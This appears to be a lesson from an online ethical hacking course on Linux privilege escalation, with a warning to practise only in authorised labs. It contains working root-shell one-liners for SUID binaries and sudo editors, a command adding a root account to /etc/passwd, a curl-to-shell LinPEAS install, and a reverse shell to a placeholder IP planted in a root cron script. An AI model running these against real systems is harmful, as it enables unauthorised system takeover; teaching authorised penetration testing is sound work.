📰 Originally published on SecurityElites — the canonical, fully-updated version of this article.
🛡️ ETHICAL HACKING COURSE
FREE
Part of the 100-Day Ethical Hacking Course
Day 31 of 100 · 31% complete
⚠️ Authorised Lab Environments Only: Privilege escalation techniques must only be practised on systems you own or in explicitly authorised penetration testing engagements. Escalating privileges on any system without written authorisation is a criminal offence.
Linux Privilege Escalation in 2026 :— Initial access as www-data or a low-privilege service account is not the goal. Root is the goal. The gap between “we have a low-privilege shell” and “we have root” is where the real penetration testing skill lives. Most Linux systems that are compromised at the service level are also compromised at the system level — because privilege escalation vectors are everywhere: a Python interpreter with the SUID bit set, a cron job running a writable script as root, a sudo rule that allows running an editor as root. This guide covers the four most common escalation vectors, LinPEAS for automated discovery, and the GTFOBins reference for exploiting every binary you find.
🎯 What You’ll Master in Day 31
Run LinPEAS and interpret colour-coded privilege escalation findings
Find and exploit SUID binaries using GTFOBins
Identify and exploit misconfigured sudo rules
Abuse writable cron job scripts to execute as root
Apply PATH hijacking to execute malicious binaries in root-run scripts
⏱️ 50 min read · 3 exercises ### 📋 Linux Privilege Escalation 2026 1. Enumeration First — LinPEAS and Manual Checks 2. SUID Binary Exploitation 3. Sudo Misconfiguration Exploitation 4. Cron Job Abuse 5. PATH Hijacking In Day 30 you established persistence mechanisms on Windows. Day 31 returns to a critical earlier phase: escalating from initial access to full system compromise on Linux. You cannot establish persistent access with real impact until you have root-level privileges — persistence and escalation always work together in the 100-Day Ethical Hacking Course.
Enumeration First — LinPEAS and Manual Checks
LINPEAS AND MANUAL ENUMERATIONCopy
Download and run LinPEAS
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
Save output for review
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh
chmod +x linpeas.sh && ./linpeas.sh | tee /tmp/linpeas_out.txt
Manual quick checks — run these first without LinPEAS
whoami && id && hostname
sudo -l # What can current user run as root?
find / -perm -4000 -type f 2>/dev/null # SUID files
cat /etc/crontab && ls -la /etc/cron* # Cron jobs
cat /etc/passwd | grep -v nologin # Users with shell access
find / -writable -type f 2>/dev/null | grep -v proc # Writable files
uname -a && cat /etc/os-release # Kernel version for exploit search
ps aux | grep root # Root-owned processes
🧠 EXERCISE 1 — THINK LIKE A HACKER (8 MIN · NO TOOLS)
Identify Privilege Escalation Vectors From a LinPEAS Output Snapshot
⏱️ Time: 8 minutes · No tools required
You have run LinPEAS on a compromised server and received
these findings (colour-coded: RED=critical, YELLOW=interesting):
[RED] SUID files found: /usr/bin/python3.9 (owned by root) /usr/bin/find /usr/bin/nmap (version 5.21)
[RED] Sudo rules (sudo -l output): (root) NOPASSWD: /usr/bin/vim /var/www/html/config.php
[YELLOW] Cron jobs (running as root): */5 * * * * /opt/backup/run_backup.sh File permissions: -rwxrwxrwx (world-writable!)
[YELLOW] PATH-dependent script (owned by root, runs at login): /usr/local/bin/system-check Content: “ping -c 1 localhost” (uses relative path for ping) /usr/local/bin is in your PATH and is world-writable
For each finding: 1. Which escalation technique applies? 2. What is the exact command or payload? 3. How quickly would this give you root? 4. Which finding would you exploit FIRST? Why?
✅ Answer key: SUID Python — fastest: python3.9 -c ‘import os; os.setuid(0); os.system(“/bin/bash”)’ → immediate root shell. SUID find — find . -exec /bin/sh \; → root shell. SUID nmap v5.21 — nmap –interactive → !sh. Sudo vim → vim opens config.php, then :!/bin/bash in vim command mode → root shell. Cron world-writable → echo ‘#!/bin/bash\nbash -i >& /dev/tcp/YOUR_IP/4444 0>&1’ > /opt/backup/run_backup.sh → wait up to 5 minutes for root reverse shell. PATH hijacking → create malicious ‘ping’ in /usr/local/bin → executed as root at next login. First choice: SUID Python — fastest, most reliable, immediate interactive root shell. The cron job is highest impact (guaranteed root) but requires waiting 5 minutes.
📸 Share your prioritised exploitation plan in #day-31-privesc on Discord.
SUID Binary Exploitation
SUID EXPLOITATION — COMMON BINARIESCopy
Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null
Then check each against GTFOBins: gtfobins.github.io
Common exploitable SUID binaries:
Python (if SUID)
python3 -c ‘import os; os.setuid(0); os.system(“/bin/bash”)’
Perl (if SUID)
perl -e ‘use POSIX qw(setuid); POSIX::setuid(0); exec “/bin/bash”;’
Find (if SUID)
find . -exec /bin/sh -p \; -quit
Vim (if SUID)
vim -c ‘:!/bin/bash’
Bash (if SUID)
bash -p # -p flag preserves SUID privileges
cp (if SUID — write to /etc/passwd)
echo ‘pwned:$1$salt$hash:0:0:root:/root:/bin/bash’ >> /etc/passwd
After any escalation — confirm:
whoami && id
root
uid=0(root) gid=0(root) groups=0(root)
📖 Read the complete guide on SecurityElites
This article continues with deeper technical detail, screenshots, code samples, and an interactive lab walk-through. Read the full article on SecurityElites →
This article was originally written and published by the SecurityElites team. For more cybersecurity tutorials, ethical hacking guides, and CTF walk-throughs, visit SecurityElites.
Top comments (0)